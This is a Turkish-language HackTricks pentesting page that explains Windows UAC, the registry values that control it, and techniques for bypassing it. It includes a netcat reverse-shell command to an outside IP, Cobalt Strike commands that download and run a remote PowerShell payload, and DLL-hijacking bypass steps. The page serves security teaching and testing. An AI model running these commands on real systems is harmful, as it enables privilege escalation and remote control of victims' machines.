UAC - Kullanıcı Hesabı Kontrolü

Reading time: 10 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin

UAC

Kullanıcı Hesabı Kontrolü (UAC), yükseltilmiş aktiviteler için onay istemi sağlayan bir özelliktir. Uygulamalar farklı bütünlük seviyelerine sahiptir ve yüksek seviyeye sahip bir program, sistemi potansiyel olarak tehlikeye atabilecek görevleri yerine getirebilir. UAC etkin olduğunda, uygulamalar ve görevler her zaman bir yönetici hesabının güvenlik bağlamında çalışır, aksi takdirde bir yönetici bu uygulama/görevlerin sisteme yönetici düzeyinde erişim izni vermediği sürece. Bu, yöneticileri istenmeyen değişikliklerden koruyan bir kolaylık özelliğidir, ancak bir güvenlik sınırı olarak kabul edilmez.

Bütünlük seviyeleri hakkında daha fazla bilgi için:

Integrity Levels

UAC uygulandığında, bir yönetici kullanıcıya 2 jeton verilir: standart kullanıcı anahtarı, normal seviyede düzenli işlemler gerçekleştirmek için ve yönetici ayrıcalıkları olan bir jeton.

Bu sayfa, UAC'nin nasıl çalıştığını derinlemesine tartışmakta ve oturum açma süreci, kullanıcı deneyimi ve UAC mimarisini içermektedir. Yöneticiler, UAC'nin kendi organizasyonlarına özgü nasıl çalıştığını yerel düzeyde (secpol.msc kullanarak) veya bir Active Directory alan ortamında Grup Politika Nesneleri (GPO) aracılığıyla yapılandırıp dağıtmak için güvenlik politikalarını kullanabilirler. Çeşitli ayarlar detaylı olarak burada tartışılmaktadır. UAC için ayarlanabilecek 10 Grup Politika ayarı vardır. Aşağıdaki tablo ek detaylar sağlamaktadır:

UAC Bypass Teorisi

Bazı programlar, kullanıcı yönetici grubuna ait olduğunda otomatik olarak yükseltilir. Bu ikili dosyaların içinde Manifests kısmında autoElevate seçeneği True değeri ile bulunur. İkili dosya ayrıca Microsoft tarafından imzalanmış olmalıdır.

Sonra, UAC'yi atlamak (bütünlük seviyesini orta seviyeden yüksek seviyeye yükseltmek) için bazı saldırganlar bu tür ikili dosyaları kullanarak rastgele kod çalıştırır çünkü bu, Yüksek seviye bütünlük sürecinden çalıştırılacaktır.

Bir ikili dosyanın Manifest dosyasını, Sysinternals'tan sigcheck.exe aracını kullanarak kontrol edebilirsiniz. Ve süreçlerin bütünlük seviyesini Process Explorer veya Process Monitor (Sysinternals) kullanarak görebilirsiniz.

UAC'yi Kontrol Et

UAC'nin etkin olup olmadığını doğrulamak için:

REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
EnableLUA    REG_DWORD    0x1

Eğer 1 ise UAC etkin, eğer 0 ise veya mevcut değilse, UAC etkisizdir.

Sonra, hangi seviyenin yapılandırıldığını kontrol edin:

REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
ConsentPromptBehaviorAdmin    REG_DWORD    0x5
  • Eğer 0 ise, UAC istemi olmayacak (gibi devre dışı)
  • Eğer 1 ise, yönetici kullanıcı adı ve şifre istenir yüksek haklarla ikili dosyayı çalıştırmak için (Güvenli Masaüstünde)
  • Eğer 2 ise (Her zaman beni bilgilendir) UAC, yönetici yüksek ayrıcalıklarla bir şey çalıştırmaya çalıştığında her zaman onay isteyecektir (Güvenli Masaüstünde)
  • Eğer 3 ise, 1 gibi ama Güvenli Masaüstünde gerekli değil
  • Eğer 4 ise, 2 gibi ama Güvenli Masaüstünde gerekli değil
  • Eğer 5 ise (varsayılan) yöneticiye yüksek ayrıcalıklarla Windows dışı ikili dosyaları çalıştırmak için onay isteyecektir

Sonra, LocalAccountTokenFilterPolicy değerine bakmalısınız
Eğer değer 0 ise, yalnızca RID 500 kullanıcısı (yerleşik Yönetici) UAC olmadan yönetici görevlerini yerine getirebilir ve eğer 1 ise, "Yöneticiler" grubundaki tüm hesaplar bunları yapabilir.

Ve son olarak FilterAdministratorToken anahtarının değerine bakmalısınız
Eğer 0 (varsayılan), yerleşik Yönetici hesabı uzaktan yönetim görevlerini yapabilir ve eğer 1 ise, yerleşik Yönetici hesabı uzaktan yönetim görevlerini yapamaz, LocalAccountTokenFilterPolicy 1 olarak ayarlanmadıkça.

Özet

  • Eğer EnableLUA=0 veya yoksa, hiç kimse için UAC yok
  • Eğer EnableLua=1 ve LocalAccountTokenFilterPolicy=1, hiç kimse için UAC yok
  • Eğer EnableLua=1 ve LocalAccountTokenFilterPolicy=0 ve FilterAdministratorToken=0, RID 500 için UAC yok (Yerleşik Yönetici)
  • Eğer EnableLua=1 ve LocalAccountTokenFilterPolicy=0 ve FilterAdministratorToken=1, herkes için UAC var

Tüm bu bilgiler metasploit modülü kullanılarak toplanabilir: post/windows/gather/win_privs

Kullanıcınızın gruplarını kontrol edebilir ve bütünlük seviyesini alabilirsiniz:

net user %username%
whoami /groups | findstr Level

UAC atlatma

note

Kurbanın grafik erişimine sahipseniz, UAC atlatması oldukça basittir çünkü UAC istemi göründüğünde "Evet"e tıklamanız yeterlidir.

UAC atlatması aşağıdaki durumda gereklidir: UAC etkin, işleminiz orta bütünlük bağlamında çalışıyor ve kullanıcınız yöneticiler grubuna ait.

UAC'nın en yüksek güvenlik seviyesinde (Her Zaman) atlatılmasının, diğer seviyelerden (Varsayılan) çok daha zor olduğunu belirtmek önemlidir.

UAC devre dışı

Eğer UAC zaten devre dışıysa (ConsentPromptBehaviorAdmin 0) yönetici ayrıcalıklarıyla bir ters kabuk çalıştırabilirsiniz (yüksek bütünlük seviyesi) gibi bir şey kullanarak:

bash
#Put your reverse shell instead of "calc.exe"
Start-Process powershell -Verb runAs "calc.exe"
Start-Process powershell -Verb runAs "C:\Windows\Temp\nc.exe -e powershell 10.10.14.7 4444"

UAC atlatma ile token kopyalama

Çok Temel UAC "atlatma" (tam dosya sistemi erişimi)

Eğer Administrators grubunda bir kullanıcı ile bir shell'e sahipseniz, C$ paylaşımını SMB (dosya sistemi) üzerinden yeni bir diske yerel olarak monte edebilir ve dosya sisteminin içindeki her şeye erişim sağlayabilirsiniz (hatta Administrator ana klasörüne).

warning

Bu numaranın artık çalışmadığı görünüyor

bash
net use Z: \\127.0.0.1\c$
cd C$

#Or you could just access it:
dir \\127.0.0.1\c$\Users\Administrator\Desktop

UAC bypass with cobalt strike

Cobalt Strike teknikleri yalnızca UAC maksimum güvenlik seviyesinde ayarlanmamışsa çalışacaktır.

bash
# UAC bypass via token duplication
elevate uac-token-duplication [listener_name]
# UAC bypass via service
elevate svc-exe [listener_name]

# Bypass UAC with Token Duplication
runasadmin uac-token-duplication powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
# Bypass UAC with CMSTPLUA COM interface
runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"

Empire ve Metasploit ayrıca UAC'yi bypass etmek için birkaç modül sunmaktadır.

KRBUACBypass

Dokümantasyon ve araç https://github.com/wh0amitz/KRBUACBypass adresinde bulunmaktadır.

UAC bypass exploitleri

UACME, birkaç UAC bypass exploitinin derlemesidir. UACME'yi visual studio veya msbuild kullanarak derlemeniz gerektiğini unutmayın. Derleme, birkaç çalıştırılabilir dosya (örneğin Source\Akagi\outout\x64\Debug\Akagi.exe) oluşturacaktır, hangi dosyaya ihtiyacınız olduğunu bilmeniz gerekecek.
Dikkatli olmalısınız çünkü bazı bypasslar, kullanıcıya bir şeylerin olduğunu bildiren bazı diğer programları uyarabilir.

UACME, her tekniğin çalışmaya başladığı derleme sürümünü içerir. Sürümlerinizi etkileyen bir tekniği arayabilirsiniz:

PS C:\> [environment]::OSVersion.Version

Major  Minor  Build  Revision
-----  -----  -----  --------
10     0      14393  0

Also, using this page you get the Windows release 1607 from the build versions.

Daha Fazla UAC atlatma

Burada AUC'yi atlatmak için kullanılan tüm teknikler, kurbanla tam etkileşimli bir shell gerektirir (yaygın bir nc.exe shell yeterli değildir).

Bir meterpreter oturumu kullanarak elde edebilirsiniz. Session değeri 1 olan bir işleme geçin:

(explorer.exe çalışmalıdır)

GUI ile UAC Atlatma

Eğer bir GUI'ye erişiminiz varsa, UAC istemini aldığınızda sadece kabul edebilirsiniz, gerçekten bir atlatmaya ihtiyacınız yok. Bu nedenle, bir GUI'ye erişim sağlamak UAC'yi atlatmanıza olanak tanır.

Ayrıca, birinin kullandığı (potansiyel olarak RDP aracılığıyla) bir GUI oturumu elde ederseniz, yönetici olarak çalışan bazı araçlar olacaktır; buradan örneğin admin olarak doğrudan bir cmd çalıştırabilirsiniz, UAC tarafından tekrar istemde bulunulmadan https://github.com/oski02/UAC-GUI-Bypass-appverif. Bu biraz daha gizli olabilir.

Gürültülü brute-force UAC atlatma

Eğer gürültü yapmaktan rahatsız değilseniz, her zaman şunu çalıştırabilirsiniz https://github.com/Chainski/ForceAdmin ki bu da kullanıcı kabul edene kadar izinleri yükseltmek için istek yapar.

Kendi atlatmanız - Temel UAC atlatma metodolojisi

UACME'ye bir göz atarsanız, çoğu UAC atlatmasının bir Dll Hijacking zafiyetini kötüye kullandığını göreceksiniz (esas olarak kötü amaçlı dll'yi C:\Windows\System32 içine yazarak). Dll Hijacking zafiyetini nasıl bulacağınızı öğrenmek için bunu okuyun.

  1. Otomatik yükseltme yapacak bir ikili dosya bulun (çalıştırıldığında yüksek bütünlük seviyesinde çalıştığını kontrol edin).
  2. Procmon ile DLL Hijacking'e karşı savunmasız olabilecek "NAME NOT FOUND" olaylarını bulun.
  3. Muhtemelen bazı korumalı yollar (örneğin C:\Windows\System32) içinde yazma izinlerinizin olmadığı DLL'yi yazmanız gerekecek. Bunu atlatmak için:
    1. wusa.exe: Windows 7, 8 ve 8.1. Korumalı yollar içinde bir CAB dosyasının içeriğini çıkarmaya olanak tanır (çünkü bu araç yüksek bütünlük seviyesinden çalıştırılır).
    2. IFileOperation: Windows 10.
  4. Korumalı yola DLL'nizi kopyalamak ve savunmasız ve otomatik yükseltilmiş ikili dosyayı çalıştırmak için bir script hazırlayın.

Başka bir UAC atlatma tekniği

Bir autoElevated binary'nin kayıttan bir ikili veya komut'un adını/yolunu okumaya çalışıp çalışmadığını izlemeyi içerir (bu, ikilinin bu bilgiyi HKCU içinde araması durumunda daha ilginçtir).

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin